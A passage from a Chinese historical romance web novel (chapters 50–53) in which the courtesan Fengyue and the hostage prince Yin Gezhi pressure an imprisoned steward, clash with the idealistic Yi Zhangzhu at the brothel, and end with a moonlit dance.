不过,天赐良机,实在难得,他也不能生生错过了。
再看了风月一眼,叶御卿放她站直身子,然后道:“殷殿下最近会查访护城军,你可以提点他一句,护城军都尉赵麟与三司使的往来甚为密切。”
脑子里断着的线突然连成了桥,风月瞬间就明白了一点东西,眼眸发亮,点头就应:“奴家明白!”
“这是我府上的通印。”从袖袋里拿了一个小锦囊出来,叶御卿看着她道:“有什么需要帮忙的,只管让人拿着这个去南宫家报信。”
南宫者,当今
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皇后之娘家也,自然是能联系上太子的。
恭敬地接过东西,风月低头行礼,就见面前的人站起来,停顿了一会儿,叹息着离开了。
捏着手里的东西,风月激动得浑身微颤。
她想做的事情,总算已经开了一个头。
殷戈止和叶御卿都是防备极重之人,她能这么不动声色地插到两人中间,实在是难得。
有了开头,剩下的事情就好办了。
收了印信,风月安心吃饭睡觉等消息,养精蓄锐准备迎接一场不阴城的风暴。
使臣府。
殷戈止起身,像是做了一场不太美好的梦,看看屋子里,只有他一个人。
“观止。”
“属下在。”门外的人应声进来,笑道:“主子醒了?要用早膳吗?”
有饭菜的香气飘进来,闻着跟往常的不一样,殷戈止挑眉:“她来了?”
“这您都能猜到?”惊讶地吸了口气,观止看了看门外:“风月姑娘今儿一大早就过来了,说怕您没胃口,来给您做早膳。”
有这么好?殷戈止抿唇,起身洗漱更衣,然后坐到了桌边。
“公子。”有小妖精端着饭菜,一扭三摇地跨进门来,朝他笑得春暖花开的:“奴家今儿手更灵活了,亲自下的厨,您快来尝尝。”
看了看她依旧包得跟粽子一样的手,殷戈止道:“你也不怕骨头愈合不好,手以后变形。”
“这点小事,哪有给您做饭来得重要啊?”咬唇放下盘子,风月道:“您是奴家的天,是奴家活着的依靠,当然要事事以您为先了。”
这一张嘴,说起哄人的话来简直是排山倒海的!殷戈止轻哼,扫了一眼菜色,瞧着不错,便提了筷子,淡淡地问了一句:“有事?”
“自然。”正经了些,风月道:“太子殿下昨儿来找奴家,告诉奴家三司府与赵麟都尉颇有来往。”
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第50章 慈悲的**
筷子一顿,又若无其事地继续夹起菜,殷戈止道:“还有呢?”
“太子殿下谨慎,未曾多言,想是要看看奴家的本事。”在他旁边坐下,风月瞅着他:“不过这消息倒是有用,奴家一直原本就想不明白一件事,有此消息,倒是能解释得通。”
殷戈止吃着饭,眼神示意她继续说。
“按理说军营将领之家,向来清寒,就算收些贿赂之类,也不足以让赵麟挥金如土。然而赵大少爷在梦回楼诸多恩赏不算,还高价赎了何愁。金妈妈敲了他一笔,要价两百两黄金,他竟然也拿出了手,还给的是金锭子,不是银票。”
手指轻轻敲着桌子,风月眼里粼粼泛光:“这般的豪迈,钱从何来?但若说赵家与三司府关系不错,那就好想了。”
三司府金银之地,虽然山稳河表面上两袖清风,但管账的,少有不偷油。看把朱来财都养成了大胖子,那三司府的油水自然是不少。
用完膳,殷戈止放下碗筷,没对她的话发表什么看法,倒是慢吞吞地说了一句:“你既然来了,那不如随我去廷尉府大牢一趟。”
廷尉府大牢?朱来财?风月甩着帕子就笑:“好。”
斜她一眼,目光落在她的红纱衣上,殷戈止皱了皱眉。
半个时辰之后,穿着良家妇女装的风月就跟着殷大皇子,一起到了廷尉衙门。
安世冲在门口等着,见他们来,便行礼:“师父。”
“早课练了?”殷戈止问。
风月想,这样的师父真是太不和蔼了,一来就问人家功课。
但是安世冲一点也没恼,反而十分高兴地道:“练了,按照师父教的,受益良多。”
“甚好。”微微颔首,殷戈止抬脚往衙门里走,顺带回头瞪了还在发呆的风月一眼。
风月回神,立马提着裙子跟上去。
“世子来了?”衙门里有人恭迎,朝着他们就行礼:“大人今日不在,吩咐小的招呼各位。”
“不用太麻烦,我们来看看人。”安世冲道:“三司使府上的朱来财已经移交过来了吧?”
“是,就在牢里,各位随小的来。”衙差躬身道:“大人一接着案子便让司法连夜审问,今日一早已经定案,犯人已经关进了死囚房。”
殷戈止很是欣慰:“真不愧是廷尉府。”
安世冲笑道:“廷尉大人公务繁忙,遇见这种证据确凿的案子,自然不会拖延太久,师父可以放心了。”
风月跟在后头,心想你师父才不会放心呢,他肯定还准备了刀山油锅,要送给敢害他的人,绝对不会让他只被斩首那么简单。
昏暗的牢房里,朱来财暴躁地走来走去,铁链拖得哗啦作响。
他不明白自己为什么会在这里,他可是三司府上的账房啊!有大人罩着,做的又是大人想做的事情,按理说就算被指证了,可区区妓子的证词,怎么可能就定他的罪?就算有殷戈止撑腰……殷戈止算个什么?质子罢了,还能拧得过三司使的大腿?
大人说过会救他的,他等着,可没等来释放,却等来关死囚房?
外头到底发生了什么?
“哗——”木栅栏上的铁链被人打开了,朱来财惊恐地回头,就见梦回楼的风月姑娘掌着灯进来,朝他微笑:“大人。”
瞳孔微缩,朱来财吓得连连后退,靠在墙边道:“你……你是人是鬼?”
“大人说笑,奴家又没做错什么,也没定罪,怎么会变成鬼呢?”跨进牢房,风月道:“这不是听闻大人要被斩首了,所以来看看么?好歹收了您的银子,也该送您一程。”
斩首?朱来财瞪眼,脸上的横肉直抽搐:“不可能,我怎么可能被斩首!”
莫名其妙地看他一眼,风月指了指木栅栏外头挂着的木牌,上头是一个血红的“死”字。
“您还不知道吗?三司使大人最近抱恙,听闻在家里养着,不见任何客人呢。连廷尉大人派人去取证,他都说您下毒的行为与三司府无关,任凭廷尉大人处置。所以今儿一早,您就被判斩立决,半月之后行刑,三司府无异议。”
怎么会这样?朱来财摇头:“你一定是骗我的!”
“奴家骗您有何益处?”撇撇嘴,风月放下手里的食盒:“奴家念**看您,知会您一声外头的情况罢了,您要是不爱听,那奴家就走了。”
说罢,转身就退了出去。
四周恢复了黑暗,朱来财跌坐在墙边,嘴里还在喃喃:“不可能的,不可能……”
可仔细想想,大人要是当真想救他,他怎么可能还在这里呆着呢?**质子未遂而已,那质子无权无势,谁会帮他?就算太子想与大人作对,只要他咬死不认,应该也是有一线生机的。
然而他已经被判斩立决了。
回想起自家大人的行事作风,朱来财终于不得不面对一个事实——他可能是被自家大人抛弃了,为什么呢?他这样忠心,难不成就因为获罪,大人连救他也懒得救吗?
人在黑暗的环境里很容易胡思乱想,越想越糟糕,殷戈止就在暗处看着他,看着他挣扎痛苦,最后发出一声崩溃的吼叫:“啊——”
差不多是时候了,拂了拂衣袖,殷戈止转头对旁边的安世冲道:“你去这衙门里四处走走,让人带着认路吧,侯爷说,廷尉大人待你如亲生,你也该熟悉一下这地方,以后带礼上门,好生请个安。”
有道理,安世冲点头,拱手就道:“那师父等会在侧门稍候,徒儿与您一起回去。”
“好。”
一身正气的少年走得毫不犹豫,看得风月直叹息:“也太老实了,都不问问您为什么不走。”
斜她一眼,殷戈止伸手捏了捏她叽叽呱呱的嘴,示意她安静,然后才往那牢房而去。
“这位官爷。”风月笑眯眯地拉着狱卒的袖子:“奴家也给您带了些点心,那人时日无多,还想请官爷多照顾。”
说着,就把人拖出去吃点心。
牢房里安静下来,殷戈止无声无息地走到朱来财面前,像夜半**的鬼魅,脸在阴影之中,只一双眼睛微微泛光。<
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朱来财颓然抬头,一看见他的脸,当即就尖叫出声。
然而,死牢里每天瞎嚷嚷的人实在太多了,任由他叫破喉咙,外头也不会有人来。
“你为何这般冲动?”居高临下地看着他,殷戈止道:“只不过在梦回楼里遇见我,又知我点了风月的台,就急于要毒死我?”
害怕到极致,反而是无所畏惧了,朱来财喘了几口气,恼怒地道:“不急着毒死你,难道还放你走吗?你那府邸滴水不进,自然还是在梦回楼里杀你简单。”
“有道理。”微微颔首,殷戈止道:“但是你失败了,并且我没死,你要死,可知为何?”
还能为何?朱来财冷笑:“殿下求助了太子,太子要奴才死,那奴才也只有死。”
“不对。”殷戈止摇头:“要你死的,不是太子,毕竟我没大碍,养了两日不到便已恢复。”
不是太子还能是谁?朱来财抬头看他,眼里满是茫然。
微微弯腰,殷戈止目光深沉,盯着他一字一句地道:“你手里的东西可不少,一旦泄露,你家大人可能乌纱难保,甚至丢命。你说,以你家大人谨慎的性子,这么好的机会,他会不顺势杀了你?”
心里一凉,朱来财哑然。
他刚刚已经想到了这种可能,但是当这话从别人嘴里说出来的时候,他依旧觉得心凉。
这么多年的效忠啊,他暗地里帮大人抹平了多少账,瞒下多少秘密,连梦里都不敢说。现在,他却因为自己知道得太多,要灭口?
“殿下来此,是落井下石?”想通了其中关节,朱来财靠着墙壁苦笑,双眼微微充血。
“我何必落井下石?”眼里陡然多了些慈悲,殷戈止语气缓和,像一阵和煦的微风,霎时吹散了牢房里的低颓之气:“要害我的,是你背后的人,你只不过是替人做事,替人送死罢了。”
“只是我倒是有些同情你,儿子才五个月大,就得没了父亲。”
心里一紧,朱来财慌张地抬头看着他:“殿下?”
“别紧张啊,我只是替你觉得可惜而已。”殷戈止温和地道:“你那儿子那般可爱,穿着红色的虎头鞋,背在奶娘背上,连话都不会说,还没开口喊你一声爹呢。”
浑身发抖,朱来财瞪大眼看着他:“殿下,奴才就算有罪,但也不至祸连家人啊!”
“你慌什么?”殷戈止道:“我是那种心狠手辣的人吗?”
不是吗?朱来财咬牙,撑着地跪好,“呯呯”地就朝他磕了两个头:“殿下若有需要奴才的地方,尽管直言,莫要牵连奴才子嗣!”
“虽然我没有要害你子嗣的意思。”站直身子,殷戈止一本正经地道:“但大人既然想帮我的忙,那便却之不恭。”
昏暗的牢房里,铁链因为人的颤抖而哗哗作响,殷大皇子半垂着眼看着面前的人,目光里满是怜悯。
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第51章 别跟她在一起
站在牢房门口拖着狱卒的风月冷不防觉得一阵妖风从里头吹出来,激得她背后一个寒颤。
回头看了一眼,没什么异常,她敲敲自己的脑袋,继续朝旁边的狱卒笑:“官爷多吃点,奴家亲手做的呢。”
被这无边的美色迷晕了头,狱卒傻笑,眼睛动也不动地盯着她,手捏着糕点直往嘴里塞。
殷戈止出来的时候,看见的就是这副傻子和妖精两两相望的场景。
“公子。”看见他出来,风月笑着行礼。
扫她一眼,殷戈止伸手扯着人就走,面无表情地道:“完事了,去外头等世冲。”
“哎,好,但是……”步子踉跄地跟在他后头,风月咬牙笑道:“奴婢又不是风筝,您这么扯着跑也飞不起来,不如放了奴婢自己走?”
“你走得太慢。”
慢?风月不服气了,甩开莲花小碎步,扯起裙摆就飞奔,一眨眼就冲了出去:“谁慢了!”
带起的风吹得殷戈止墨发飞扬,刚成了事,心情不错的殷大皇子看了一眼前头的影子,提一口气,身形一闪便追了上去。
“还挺能跑。”
凉凉的声音,像冰块儿一样,带着点轻蔑一起,“呯”地一声砸在狂奔的风月头上。
她愕然侧头,就看见有人衣袂翻飞,潇洒万分地跑在她旁边,斜着眼睛睨着她:“平时那一扭三扭的走路姿态,是装的?”
风月顶着风咧嘴:“哪能是装的呢?什么时候做什么事,都是有规矩的,奴家按照规矩来而已。”
“是吗?那现在你可以不用跑这么快。”
“奴家没跑,奴家这是走得快!公子莫非是体力不支,跟不上?那奴婢拖……不是,奴婢可以扶着您走。”
殷戈止抿唇,看了她一眼,当真伸了手过来。修长的手指,微微粗粝的掌心,看得她心神微动。
执子之手……
拖着就走!
二话没说扯过他,风月努力跑得快点,争取也把他扯得个趔趄什么的!
然而,事实证明她还是太天真了,一抓住她的手,殷戈止眸子里就划过一丝冷笑,接着便没再隐藏实力,加快速度把她拖成了一道亮丽的灰尘。
安世冲正在侧门等着,冷不防就觉得有什么东西从门里冲出来。
“让开!”拉着随从一起躲避,捂了口鼻挥开漫天的烟尘,安世冲皱眉看向尘土滚滚而去的方向:“发生什么了?”
眼尖的随从一脸惊愕地道:“殷殿下拉着个丫鬟……奔,私奔了?”
约好在侧门等,私自跑走了,的确可以说是私奔,但总觉得哪里不对劲。安世冲摸了摸下巴,想了一会儿才道:“罢了,看起来师父是有什么急事,咱们先走吧。”
“是。”
三月底的微风轻拂杨柳岸,河水潺潺,杨柳依依,风景独好的柳树下,有黑衣公子长身玉立,目光温和地看向地上趴着的青葱少女,和蔼地问:“累吗?”
废话,都趴在地上吐舌头了,你说累不累?风月气得牙都要咬碎了,颤颤巍巍地挽了挽自己凌乱的发髻,深吸一口气,然后抬脸冲人家笑:“不累。”
恍然点头,殷戈止道:“那再走会儿?”
“您自己走吧。”捏紧拳头,风月假笑:“奴家想看看风景。”
往柳树上一靠,殷戈止道:“不会服软之人,往往都容易被打断骨头。”
这句话是调侃她的,分明就很累,撒个娇就完事了,还偏生跟他犟。
然而,很不巧,风月就是个被打断过骨头的人,一听这话,脸色顿变,眼里恨意乍现,凶狠得殷戈止都吓了一跳。
“怎么?”
不能暴露,深吸一口气,风月在心里一点点地安抚自己,不能太激动,人家这话说得没错,本来就是这么个道理,她就是不会服软,所以这一双手才成了现在这样。
僵硬着转移了视线,看见后头有动静,风月连忙顺势恼恨地道:“有人在**!光天化日的,太过分了!”
被她刚刚的眼神给震到了,殷戈止看了她好一会儿,才转头顺着她指的方向看过去。
的确有人在**,看模样是个农夫,提着扁担凶神恶煞地在往一个姑娘身上砸,旁边众多围观的百姓,见状都上去帮忙拉扯。
那姑娘已经是头破血流,看起来凄惨,农夫尤不解气,还想继续打。
普通的百姓斗殴,殷戈止是没什么兴趣的,风月也没精力多管闲事,只想转移一下这位爷的注意力,让他忽略一下自己刚刚不妥的表现。
谁知道,就在风月爬起来准备换个话头的时候,一声娇喝穿透整个河岸:“住手!”
声音实在熟悉,引得殷戈止又把目光放了回去。
易掌珠带着丫鬟冲进人群,看了看那流血的姑娘,又看了看行凶的农夫,怒道:“都没有王法了吗?想当街**?”
一众百姓都是一愣,打量她两眼,见她衣着贵重,于是纷纷没吭声。
流血的姑娘立马就躲到了易掌珠身后,哽咽地道:“救命啊!”
得了,易大菩萨都来了,哪有不救的道理?风月觉得这事儿已经可以算是解决了,结果一转头,旁边的人已经不见了。
再一看,嘿,往人家姑娘的方向走着呢,刚刚跑那么远,腿都不软一下的。
风月眯眼,抱着胳膊看他走到那易大小姐身后,语气比什么时候都温柔地道:“掌珠,你为何在这里?”
正准备给人主持公道的易掌珠一看见他就笑了,连忙拉他过去,道:“我刚好路过,看见这边出事了,就来瞧瞧。”
说罢,转头就问那农夫:“你做什么?”
农夫满眼委屈,狠狠地瞪着她身后的姑娘道:“这是我家刚娶回去的媳妇,将我六十的老母亲害死在了病床上!我正拉她去见官,谁知道她说我娘活着浪费粮食,死有余辜!我这才动手……”
众人听得愕然,易掌珠倒是皱眉道:“就算她不对,你也不能动手啊。再说,她为什么要害你娘亲,不问问清楚就送官?你们可是夫妻!”
风月听着,嘴角忍不住
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抽了抽。
殷戈止倒是一脸镇定,完全不觉得易掌珠说的话哪里不对,反而一副护花使者的模样站在她身后。
因着他在,易掌珠的底气更足,皱眉看着那农夫就道:“再说,你娘亲已经没了,还要失去个媳妇儿?哪有这样做事的?家务事就回家去解决,在街上**算什么本事?”
“就是啊,哪有男人打女人的。”围观群众纷纷附和,背后躲着的姑娘也哭得更加委屈:“他娘亲都病得下不了床了,不能说话不能动,屎尿都要人伺候,还要吃饭。家里粮食本来就少,哪里养得起……”
易掌珠回头教训她:“就算如此,你也不该用这样的法子,以后可不能这样了!”
姑娘哽咽,点头。
这才真是开了眼界了!风月咋舌,心想那农夫要是打**这姑娘,姑娘的娘家是不是也不能告状啊?毕竟女儿都**,总不能还失去个女婿?
闺阁里养起来的姑娘是不是脑子长得跟她这种吃黄沙的不太一样啊?农夫**有错,那姑娘明显心更毒,不送去见官,还要人家丧母的农夫原谅?
见两人都不吭声了,易掌珠觉得事情已经解决,目光慈悲地往四周扫了一眼,正想让这两人回家去呢,结果就看见个丫鬟模样的人站在不远处翻白眼,模样瞧着,有点眼熟。
“风月姑娘?”
被看见了,风月立马捏着手放在腰间然后低头屈膝:“易小姐。”
殷戈止扫了她一眼,眼里又带了嫌弃,却还是跟着易掌珠走到她面前,睨着她这装模作样的姿态。
“你怎么也在这儿?”上下扫了她一眼,易掌珠惊讶地道:“从良了?”
想起孙力,风月皮笑肉不笑,看了殷戈止一眼,没吭声。
殷戈止淡淡地道:“我府上缺个做饭的丫头,她时常去帮忙。”
他给她赎身了?易掌珠皱眉,心里登时很不是滋味儿,看了风月一眼,拉着殷戈止便走到旁边,低声道:“殷哥哥,你缺人做饭,找谁不行?找她做什么?”
“她饭做得好吃。”
“我府上的厨娘,肯定比她做得好吃!”跺了跺脚,易掌珠道:“我有点不喜欢她,殷哥哥别跟她走太近。”
“嗯?”回头看了风月一眼,殷戈止颇有兴趣地问:“你不喜欢她何处?”
皱紧了眉,易掌珠道:“妖里妖气的,不太正经,又喜欢勾搭人,还没什么廉耻之心。这样的人,在殷哥哥府上,也只会给你丢人。”
眸色微动,殷戈止没说话。
看神色就能猜到这俩在嘀咕什么了,风月撇嘴,突然来了点兴趣,扯了扯齐胸的衣襟,捆紧了束腰的腰带,然后甩着帕子就贴到殷戈止身边,声音打着弯儿娇嗔:“公子~咱们是不是该回府了?奴家晚上还要好好伺候您呢。”
此话一出,易掌珠脸立马青了,瞪眼看着她,活像看个妖怪。
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第52章 所谓圣母
殷戈止面色不改,一言不发,任由风月扭着身子贴着他。
他没反应,易掌珠的反应可就大了,涨红了脸,伸手指着风月:“你……这可是街上!”
“街上?”挽着殷戈止的胳膊,头靠着人家,风月一脸理所当然地道:“街上又怎么了?奴家是公子的人。”
他的人?易掌珠气极反笑:“可是过了门了?”
“那些虚名,奴家向来不在意,只要能陪在公子身边,奴家可以什么都不要。”配合台词抬头,风月深情款款地看着殷戈止:“只要公子心里有奴家。”
“不要脸!”气得骂了一声,易掌珠的贵门风范都要丢尽了,委屈万分地看着殷戈止:“殷哥哥你说句话啊!”
“时候不早了。”殷戈止说话了,看着她道:“早点回家,不要总是在街上晃,若是有事,派人来知会我一声。”
字字句句都是对她的关心,易掌珠缓和了神色,有些得意地看了风月一眼,可后者压根没看她,就粘着殷戈止,眼里满是爱慕。殷戈止走,她就亦步亦趋地跟着走,看起来可恶极了。
“殷哥哥!”
大概是走得远了,殷戈止没听见,没回头,只对还挂在自己身上的人道:“你长了腿的,自己走。”
全身重量都放在他身上,风月舒服地当根海带,软绵绵地道:“公子英俊潇洒,气度不凡,让奴家瞧着走不动路了嘛!”
易掌珠黑了脸,跺脚扭身就跑。
“小姐!”点钗跟在她后头,连忙安抚:“您跟个丫鬟争什么啊?瞧她那**样儿,哪里值得您生气?”
“我能不气吗?她贴着殷哥哥,殷哥哥还没拒绝。”易掌珠眉头紧皱:“就算我不能与殷哥哥厮守,可也不能看着他着了别人的道啊!”
“您要想弄走她,法子多得是,何必气坏自个儿?”点钗道:“上回是您太急切了,没选对法子,所以留了后患。这次交给奴婢吧,奴婢定然不会让她好过。”
停下步子,易掌珠回头:“真的?”
“奴婢一定办到。”
气消了些,易掌珠抿唇道:“我也不是非跟她过不去,只是她那样的人,哪里配得上殷哥哥?”
“主子说得对,您这是为殷殿下着想。”
点点头,易掌珠平缓了心情,端庄地继续往前走。
“您喜欢易小姐?”走了一路,挂在胳膊上的海带终于开口问了一句。
殷戈止目不斜视,淡淡地答:“她挺有意思。”
“是挺有意思的。”风月点头:“菩萨心肠,分外善良,就是善良总没用对地方,看起来脑子不太好。”
眉梢微动,殷戈止侧头盯着她:“易大将军的嫡女你也敢诋毁,胆子不小。”
“实话实说,公子要是怪罪,那奴家认了。”松开他的手,风月道:“不过这段感情想来也没什么好结果,公子这般聪慧,可惜却是性情中人。”
不知道为什么,听她这阴阳怪气的话,殷戈止觉得心情甚好,到了使臣府,甚至亲手给她搬了凳子,让她坐下继续说。
风月却不说了,看了看天色,撇嘴道:“奴家也该回去了,今日梦回楼重新开张,怎么也该去热个场子。”
微微颔首,殷戈止跟着她一并起身往外走。
风月:“您去哪儿啊?”
“你不是要去热场?”殷大皇子施施然地道:“我去捧场。”
风月:“……”
您去照顾好易大小姐就好了,还捧什么场啊!
心里骂,脸上却还是得带着微笑朝人家行礼:“谢公子厚爱。”
由于殷戈止不计前嫌地往梦回楼送礼,朱来财又已经判决,梦回楼总算是逃过一劫,重新开张。金妈妈一早就跟她叮嘱过,要好生准备,晚上最好能跳个正经点的舞什么的,顺便挽回一下她自己的名声。
名声这种东西,由于没什么用,风月是不看重的,但为了给梦回楼擦招牌,她还是准备了一套正经的红色舞裙,挽了高高的发髻,插上金钗,在一楼后头的房间里等着。
殷戈止已经在大堂里坐着了,大概是因为今儿事情顺利,这位大爷心情不错,往他桌边凑的姑娘都没被冻走,反而是笑盈盈地端茶递水。那人也不拒绝,一身正气地享受着。
“真是好不要脸!”
诶?风月眨眼,这话是她想说的没错,可声音听着怎么不太对劲啊?
伸出脑袋往门外看了看,就瞧见一身男装,细皮嫩肉的易大小姐,正盯着殷戈止身边的姑娘,鼻子下头的假胡子一翘一翘的。一双杏眼水灵得,是个人都看得出她是个女的。
然而,大概是给的银子不少,金妈妈竟然没拦着她,只喊了个小厮跟着,就随意她四处游荡。
“男人都喜欢这种女人?”易掌珠问了旁边的点钗一句。
点钗脸色不太好看,自家主子何等身份啊?怎么能来这种地方!但主子要来,她拧不过,只能祈愿没人能认出她们了。
“奴婢不知,但咱们快找个位置坐下来吧,许是有表演之类的。”
看了看前头的台子,易掌珠突然来了点兴趣,问:“她们是不是要弹琴跳舞之类的?”
“大概是吧。”
看了殷戈止一眼,易掌珠转头就往风月所在的房间走过来。
风月挑眉,立马拿扇子挡了脸,躲在角落里去。
屋子里有不少别的姑娘,都在紧张地准备着呢,冷不防就进来个男不男女不女的人,朝着她们就伸手:“来张古琴。”
旁边的小厮吓着了,连忙道:“客官,您不能进来这儿,这里都是姑娘……”
“有银子还不能进来?”易掌珠皱眉,旁边的点钗无奈,连忙往那小厮手里塞了锭银子。
大概是银子分量足,小厮也就没管了,任由她钻去后头挂着很多衣裳的地方,折腾半晌,变成了个清秀佳人出来。
老实说,高门的姑娘气质就是不一样,哪怕穿一身绿色纱衣,那也很贵气。只是这行为太过莽撞,一屋子的姑娘看她的眼神都不太友善。
易掌珠没在意,抱起旁边不知是谁放着的古琴,就准备出去。
“各位。”金妈妈站在台上,笑得灿烂:“咱们梦回楼重新开张,姑娘们为了庆祝,今日都拿了压箱底的本事出来,还望各位以后依旧来咱们这儿捧场啊。”
这世上永远不缺好色之人,吓走了一批,又来了一批,扯着嗓子叫唤:“金妈妈快放美人儿出来啊。”
“是啊是啊,花魁被人赎了,可要找点更好看的姑娘来,不然咱们看谁啊?”
金妈妈一笑,甩着帕子道:“各位稍安勿躁啊,姑娘们马上就上来。”
说着,转头就朝风月这边使了个眼色。
抱着胳膊靠在门边,风月本来是要第一个上去的,现在也没心思了,就想看看旁边这易大小姐想玩什么花样。
被人捧在掌心真是幸福啊,多少姑娘做梦都想跳出这火坑,她倒好,自己送进来了。
见没人动,易掌珠自然就先动了,任凭点钗怎么劝都不听,拢了面纱就跨上台去。
金妈妈一愣,仔细看了看这张脸,吓得连忙跑到风月跟前,指着台上道:“那是怎么回事啊?”
“妈妈莫慌。”风月道:“咱们这儿可没签她的**契,自愿来热场,咱们也不能推辞。”
“我倒不怕她热场,可她要是砸场子怎么办啊?”不知道易掌珠的身份,金妈妈愁得直皱眉:“好不容易活过来,可不能死在这么个来路不明的丫头手里。”
“放心吧。”风月道:“贵门之女,打小都是琴棋书画精通的,她砸不了这场子。”
只是,被人宠坏了的小姑娘,做事不分轻重,这么贸然地来青楼的台子上表演,实在不合规矩。不过既然人家都不介意,她这个幕后东家更是不用着急。
转头看向殷戈止,那位大爷已经发现了易掌珠,皱眉瞧着,神色不悦。
易掌珠是打定主意让他瞧瞧妓子是多上不得台面,所以没管其他,手一落,流畅的琴声倾泻而出,荡漾在整个梦回楼。
下头的人听得怔愣,再一看那姑娘身段和眉眼都不差,当即便掌声如
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雷。
如厕回来的断弦找不到自己的古琴,正纳闷呢,就听见了这琴声,脸一黑就站在风月面前问:“你那客人又来砸我场子了?”
“不是他。”风月笑眯眯地道:“你自己看。”
疑惑地看过去,就见四座的客人表情痴迷,台上一清秀佳人手轻扬,琴声飘逸,很是动人。
一曲终了,掌声雷动,叫好声不绝于耳。有认出她来的,偷偷惊讶地讨论,没认出来的,便大胆上前问价。
金妈妈擦着汗水,上台小声问:“姑娘来挂牌?”
“不是。”傲慢一笑,易掌珠道:“只是听闻这儿姑娘多才多艺,所以来试试罢了。”
脸色一变,金妈妈道:“姑娘,咱们这儿是做生意的,可不能由着您这般胡闹。”
“做生意?”易掌珠冷笑,起身就看向台子边站着的一群姑娘,义愤填膺地道:“你收钱,却要这些个无辜的姑娘为你卖皮肉,算是什么正经生意?今日我就算是砸了你这地方,你能如何?”
众人愕然,有些不明白情况。殷戈止倒是站了起来,面无表情地道:“闹够了就出去。”
一听他这话,易掌珠委屈得很,她又不是来做坏事的,凭什么让她出去?
“我不,我要解救这些无辜的少女!”脖子一横,易掌珠瞪着金妈妈道:“你要么放了她们,要么,我就封了你这楼!”
年纪不大,口气不小,金妈妈皮笑肉不笑,睨着她道:“姑娘,咱们这儿的人都是签了**契的,闹到官府去,咱们也不理亏,楼也封不了。您要我放人,那不如替所有的姑娘赎身?”
易掌珠愕然:“赎身?”
“她们来这儿,都是收了我的银子的,要想出去,自然要赎身了。”瞧着表演没法儿继续,金妈妈冷哼一声,当即就扯着易掌珠下了台,到旁边拿了算盘来打:“这儿的姑娘**的银子都是一百两,加上丫鬟,一共一百个人,一万两银子,姑娘要是拿出来,妈妈就撕了她们的**契。”
一万两?易掌珠脸都吓白了,怒道:“你这是抢钱!本就做的是伤天害理的事情,还好意思问我要银子?”
“您要来做善事,可我又没理由陪着您做善事,生意人都是要谈钱的。”金妈妈哼笑:“不然你动动嘴皮,我就得损失那么多银子,凭什么啊?”
“你……”易掌珠当真是怒了:“我做善事这么多年,头一次遇见这么不讲道理的。果然这地方出不了什么好人!”
“嘿!”金妈妈也怒了,她做生意这么多年,也是头一次遇见这么不要脸的,敢情别人的银子都是天上掉下来的不成?
正想再争,背后的风月却来拉了她一把。
“金玲先上去。”喊了后头的人一声,风月笑道:“妈妈别生气,这位姑娘只是不懂规矩。”
看见她,易掌珠微微一愣,接着眼睛就亮了:“你没在使臣府?”
冲她一笑,风月唇红齿白地道:“晚上才回去。”
脸色顿沉,易掌珠道:“这下头有头有脸的人不少,你为何非要缠着殷哥哥?”
“喜欢您的人也不少。”风月笑道:“您又何必只盯着他不放?”
“我……”
气不过,易掌珠转头就去看殷戈止的方向,结果他的位置上却早就没人了。
人呢?
“主子。”点钗小声道:“殷殿下已经走了。”
走了?!易掌珠皱眉,立马扔了古琴就往外追。
众多恩客还等着她重新上台,谁知道那绿色的影子径直就往外走。不少恩客追着她出去,看热闹的也跟着起哄,梦回楼的大堂瞬间便冷清了下来。
“真是好本事!”捡起地上的琴,断弦气得直哆嗦:“耀武扬威地来当好人,又莫名其妙地走了,这算个什么!”
算个什么呢?风月想了想,实在想不到个确切的形容词,干脆作罢,提了裙子就上楼去。
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第53章 毫无改善的关系
准备好的舞是没法跳了,那这一身装束无用,穿着还重,先脱了再说。
关上门,风月径直走到屏风旁边,麻利地扯自个儿的腰带。
“主子……”灵殊站在门口,表情古怪地喊了她一声。
“嗯?”伸个脑袋看她一眼,风月道:“你家主子脱衣裳呢,能不能把门给关上啊?”
后知后觉地关上门,灵殊刚想说点什么,转头一看自家主子这动作快得,已经把广袖上襦给脱了,白生生的手臂和肩膀露出来,和胸前一抹艳红裹着的弧度,看起来诱人得很。
回过神摇摇头,灵殊跺脚,连忙跑过去扯了扯主子的裙摆:“您看那边!”
嗯?风月抬头,顺着她指的方向看过去。
有人优雅地端着茶坐在角落里的椅子上,玄衣与暗处浑然一体,只一双没有波澜的眼睛,安静地看着她。
吓得往后跳了一小步,风月眨眼,跟看妖怪似的看着他:“您怎么也不出个声的?”
然后想想刚刚下头发生的事儿,又问一句:“不是走了吗?”
看易掌珠追得那么起劲,他怎么着也该在外头停下来等佳人追上,然后黑着脸一顿凶,凶得佳人泪落涟涟之后,再叹一口气把佳人抱进怀里柔声安慰。这才是对付女人的正确方式啊!
“走得快了些,从前门绕了后门,上来喝口茶。”安静地将她从头看到脚,殷戈止道:“你不跳舞了?”
“怎么跳?”她撇嘴:“下头客人都被您的易小姐给带走了,跳了也没人看。”
她料到她弹琴不至于砸场,却忘记考虑她这个人,场子终究还是被砸了。可惜了准备了许久的一群姑娘们,明日梦回楼不知又会是个什么境地。
角落里的人起身,一步一步地走到她面前,看了一眼屏风上挂着的广袖襦,伸手取了,展开,搭在了她肩上。
风月一愣,不解地抬头。
屋子里还没点灯,这人的轮廓却是更加清晰,凑近她,低声道:“现在跳,我看。”
温柔的声音,听得风月心里一痛,下意识地就转过身,穿好衣裳,点头:“好。”
灵殊看得脸红,蹦蹦跳跳地就出去了。殷戈止在桌边坐下,抬头想点灯,顿了片刻,又松了手。
外头月光正好,从敞开的窗户倾泻进来,照得软榻上一片朦胧。
深吸一口气,风月脱了舞鞋,顺手取了妆台上的两串儿铃铛缠在脚踝上,捞起舞裙,轻盈地跳上软榻。
月色皎皎,照得大红的舞裙一片柔光,窗外是千家红灯丝竹声,随意和了段儿远远飘来的曲子,她起势,左足尖点右膝,手上下合于右耳侧,腰肢款摆,媚气横生。
伸手给自己倒了茶,殷戈止淡然地看着,却见眼前这人舞起之时如战场旌旗,随风烈烈,颜色鲜活。分明是风尘里的妖精,但隐约间却又瞧着像沙场里喋血的金戈。
铃铛声响,杀伐四起,鲜血飞溅!
她舞处悲壮,像力竭知必战死的将军,背水一战,突出重围,一身艳血却流淌满了山河。滚烫的红色洒在蝴蝶身上,红色的蝴蝶挣扎着,翅膀破碎,振振欲飞,却还是飘零地落在了水里。
本是调戏她,想看她千娇百媚的模样,没想到她跳的却是这样的舞,看得他心口莫名一窒,恍然间想起了曾经的战场,想起那些在身边倒下的身影,和夕阳下有人用力将旌旗插在魏国边疆的高岭。
